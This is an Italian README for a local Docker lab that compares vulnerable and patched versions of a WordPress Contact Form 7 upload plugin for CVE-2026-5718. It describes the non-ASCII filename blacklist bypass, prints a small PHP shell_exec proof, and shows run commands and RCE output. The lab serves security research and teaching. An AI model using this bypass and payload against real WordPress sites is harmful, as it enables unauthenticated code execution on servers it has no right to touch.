
Laboratorio Docker locale che dimostra il caricamento arbitrario di file CVE-2026-5718 in un plugin WordPress, con servizi vulnerabili e patchati per un'analisi fianco a fianco di sfruttamento e difesa.
Laboratorio Docker locale solo vulnerabile vs patchato per CVE-2026-5718, che colpisce il plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7.
Questo laboratorio mostra la differenza tra la versione vulnerabile 1.3.9.6 e la versione patchata 1.3.9.7 utilizzando una prova di esecuzione PHP a danno minimo all'interno di un ambiente esclusivamente Docker.
Ambito: solo localhost / rete Docker. Non utilizzare questo PoC contro sistemi di cui non si possiede o non si ha esplicita autorizzazione per testare.
CVE-2026-5718 è una vulnerabilità di upload arbitrario di file nel plugin Drag and Drop Multiple File Upload for Contact Form 7 fino alla versione 1.3.9.6 inclusa.
Il problema si attiva quando vengono configurati tipi di blacklist personalizzati e un nome file contiene caratteri non ASCII. Nella versione vulnerabile, un upload pericoloso .php può bypassare la protezione prevista e rimanere eseguibile. La versione 1.3.9.7 corregge il problema rifiutando lo stesso upload.
Questo repository esegue due servizi WordPress locali:
vuln su http://localhost:8081 con versione plugin 1.3.9.6patched su http://localhost:8082 con versione plugin 1.3.9.7Host
├── http://localhost:8081 -> vulnerable WordPress service
└── http://localhost:8082 -> patched WordPress service
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
| Servizio | Scopo | Porta Host | Versione |
|---|---|---|---|
vuln | Laboratorio WordPress vulnerabile | 8081 | Plugin 1.3.9.6 |
patched | Laboratorio WordPress patchato | 8082 | Plugin 1.3.9.7 |
vuln-db | Database MySQL per servizio vulnerabile | internal | MySQL 8.0 |
patched-db | Database MySQL per servizio patchato | internal | MySQL 8.0 |
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Il modulo preconfigurato di Contact Form 7 contiene un campo Drag and Drop Multiple File Upload:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
Il PoC carica un file PHP di prova denominato:
proof-β.php
Il carattere β è non ASCII. Questo è importante perché la vulnerabilità dipende dalla gestione del nome file per input non ASCII.
Flusso ad alto livello:
PoC
↓
Fetch lab page and extract DnD CF7 AJAX nonce
↓
Upload proof-β.php through wp-admin/admin-ajax.php
↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
↓
PoC requests the uploaded file
↓
Vulnerable lab executes the PHP proof as www-data
Flusso patchato:
PoC
↓
Upload the same proof-β.php file
↓
Patched 1.3.9.7 rejects the upload
↓
No PHP file is stored and no code execution occurs
La prova PHP caricata è volutamente minima:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
La prova esegue solo whoami e id per mostrare il contesto di esecuzione. Non utilizza reverse shell, persistenza, accesso alle credenziali, movimento laterale, scansione di rete o azioni distruttive.
Il servizio vulnerabile consente intenzionalmente l'esecuzione PHP nella directory di upload del plugin affinché l'impatto sia osservabile in questo laboratorio locale. Il servizio patchato mantiene il comportamento più sicuro e rifiuta l'upload al livello di validazione dell'applicazione.
Installa le dipendenze Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Inizia da uno stato pulito:
docker compose down -v
docker compose up --build -d
Controlla lo stato del servizio:
docker compose ps
Apri le pagine del laboratorio:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
Esegui contro il servizio vulnerabile:
python poc/poc.py --base-url http://localhost:8081
Esegui contro il servizio patchato:
python poc/poc.py --base-url http://localhost:8082
Il PoC accetta solo target localhost o loopback.
Comportamento atteso:
.php.Esempio di output:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
Comportamento atteso:
Esempio di output:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
Questo laboratorio è intenzionalmente limitato a test locali.
Il PoC:
whoami e id all'interno del container vulnerabile.Il servizio vulnerabile allenta l'esecuzione PHP nella directory di upload solo per rendere osservabile la prova locale. Non copiare quella configurazione in produzione.
Ferma i container:
docker compose down
Rimuovi container e volumi:
docker compose down -v
Rimuovi l'ambiente virtuale Python:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Avviso Patchstack: Plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Upload Arbitrario di File Non Autenticato tramite Bypass Blacklist Nome File Non ASCII https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Upload Arbitrario di File Non Autenticato tramite Bypass Blacklist Nome File Non ASCII https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
Database Advisory GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
Pagina del plugin su WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
Pagina del fornitore del plugin: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
Questo repository è solo per scopi educativi e di ricerca sulla sicurezza difensiva. È progettato per essere eseguito solo su localhost utilizzando Docker. Non utilizzare il PoC contro sistemi pubblici o di terze parti.